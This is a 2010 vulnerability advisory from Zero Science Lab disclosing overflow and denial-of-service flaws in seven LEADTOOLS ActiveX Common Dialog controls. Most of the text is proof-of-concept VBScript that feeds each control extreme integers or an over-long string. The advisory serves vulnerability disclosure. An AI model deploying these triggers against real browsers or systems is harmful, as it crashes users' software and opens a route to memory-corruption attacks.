LEADTOOLS ActiveX Common Dialogs 16.5 Multiple Remote Vulnerabilities

Vendor: LEAD Technologies, Inc.
Product Web Page: http://www.leadtools.com
Affected version: 16.5.0.2

Summary: With LEADTOOLS you can control any scanner, digital camera
or capture card that has a TWAIN (32 and 64 bit) device driver.
High-level acquisition support is included for ease of use while
low-level functionality is provided for flexibility and control in
even the most demanding scanning applications.

Desc: LEADTOOLS ActiveX Common Dialogs suffers from multiple remote
vulnerabilities (IoF, BoF, DoS) as it fails to sanitize the input in
different objects included in the Common Dialogs class.

Vulnerable Objects/OCX Dialogs (Win32):

	1. ActiveX Common Dialogs (Web) --------------------> LtocxWebDlgu.dll
	2. ActiveX Common Dialogs (Effects) ----------------> LtocxEfxDlgu.dll
	3. ActiveX Common Dialogs (Image) ------------------> LtocxImgDlgu.dll
	4. ActiveX Common Dialogs (Image Effects) ----------> LtocxImgEfxDlgu.dll
	5. ActiveX Common Dialogs (Image Document)----------> LtocxImgDocDlgu.dll
	6. ActiveX Common Dialogs (Color) ------------------> LtocxClrDlgu.dll
	7. ActiveX Common Dialogs (File) -------------------> LtocxFileDlgu.dll

- RegKey Safe for Script: True
- RegKey Safe for Init: True

Tested On: Microsoft Windows XP Professional SP3 (EN)
           Windows Internet Explorer 8.0.6001.18702
           RFgen Mobile Development Studio 4.0.0.06 (Enterprise)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

24.08.2010

Zero Science Lab Advisory ID: ZSL-2010-4961

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4961.php

##############################################################
			Proof of Concept:
##############################################################

1. (Web, LtocxWebDlgu.dll / LTRDWU.DLL):
------------------------------------------------------

 <object classid='clsid:00165B53-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\RFGen40\LtocxWebDlgu.dll"
 prototype  = "Property Let Bitmap As Long"
 memberName = "Bitmap"
 progid     = "LTRASTERDLGWEBLib_U.LEADRasterDlgWeb_U"
 argCount   = 1
 arg1=-1
 target.Bitmap = arg1
 </script>


2. (Effects, LtocxEfxDlgu.dll / LTRDEU.DLL):
------------------------------------------------------

 <object classid='clsid:00165B5B-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\RFGen40\LtocxEfxDlgu.dll"
 prototype  = "Property Let Bitmap As Long"
 memberName = "Bitmap"
 progid     = "LTRASTERDLGEFXLib_U.LEADRasterDlgEfx_U"
 argCount   = 1
 arg1=-1
 target.Bitmap = arg1
 </script>


3. (Image, LtocxImgDlgu.dll / LTRDMU.DLL):
------------------------------------------------------

 <object classid='clsid:00165C7B-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\RFGen40\LtocxImgDlgu.dll"
 prototype  = "Property Let Bitmap As Long"
 memberName = "Bitmap"
 progid     = "LTRASTERDLGIMGLib_U.LEADRasterDlgImg_U"
 argCount   = 1
 arg1=2147483647
 target.Bitmap = arg1
 </script>


4. (Image Effects, LtocxImgEfxDlgu.dll / LTRDXU.DLL):
------------------------------------------------------

 <object classid='clsid:00165B57-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\RFGen40\LtocxImgEfxDlgu.dll"
 prototype  = "Property Let Bitmap As Long"
 memberName = "Bitmap"
 progid     = "LTRASTERDLGIMGEFXLib_U.LEADRasterDlgImgEfx_U"
 argCount   = 1
 arg1=-2147483647
 target.Bitmap = arg1
 </script>


5. (Image Document, LtocxImgDocDlgu.dll / LTRDOU.DLL):
------------------------------------------------------

 <object classid='clsid:00165B69-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\RFGen40\LtocxImgDocDlgu.dll"
 prototype  = "Property Let Bitmap As Long"
 memberName = "Bitmap"
 progid     = "LTRASTERDLGIMGDOCLib_U.LEADRasterDlgImgDoc_U"
 argCount   = 1
 arg1=2147483647
 target.Bitmap = arg1
 </script>


6. (Color, LtocxClrDlgu.dll / LTRDRU.DLL):
------------------------------------------------------

 <object classid='clsid:00165B4F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\LEAD Technologies\LEADTOOLS Active-X 16.5\Bin\CDLL\Win32\LtocxClrDlgu.dll"
 prototype  = "Property Let UserPalette ( ByVal iIndex As Integer ) As Long"
 memberName = "UserPalette"
 progid     = "LTRASTERDLGCLRLib_U.LEADRasterDlgClr_U"
 argCount   = 2
 arg1=1
 arg2=-2147483647
 target.UserPalette(arg1 ) = arg2
 </script>


7. (File, LtocxFileDlgu.dll / LTRDFU.DLL):
------------------------------------------------------

 <object classid='clsid:00165C87-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' />
 <script language='vbscript'>
 targetFile = "C:\Program Files\RFGen40\LtocxFileDlgu.dll"
 prototype  = "Property Let DestinationPath As String"
 memberName = "DestinationPath"
 progid     = "LTRASTERDLGFILELib_U.LEADRasterDlgFile_U"
 argCount   = 1
 arg1=String(9236, "A")
 target.DestinationPath = arg1
 </script>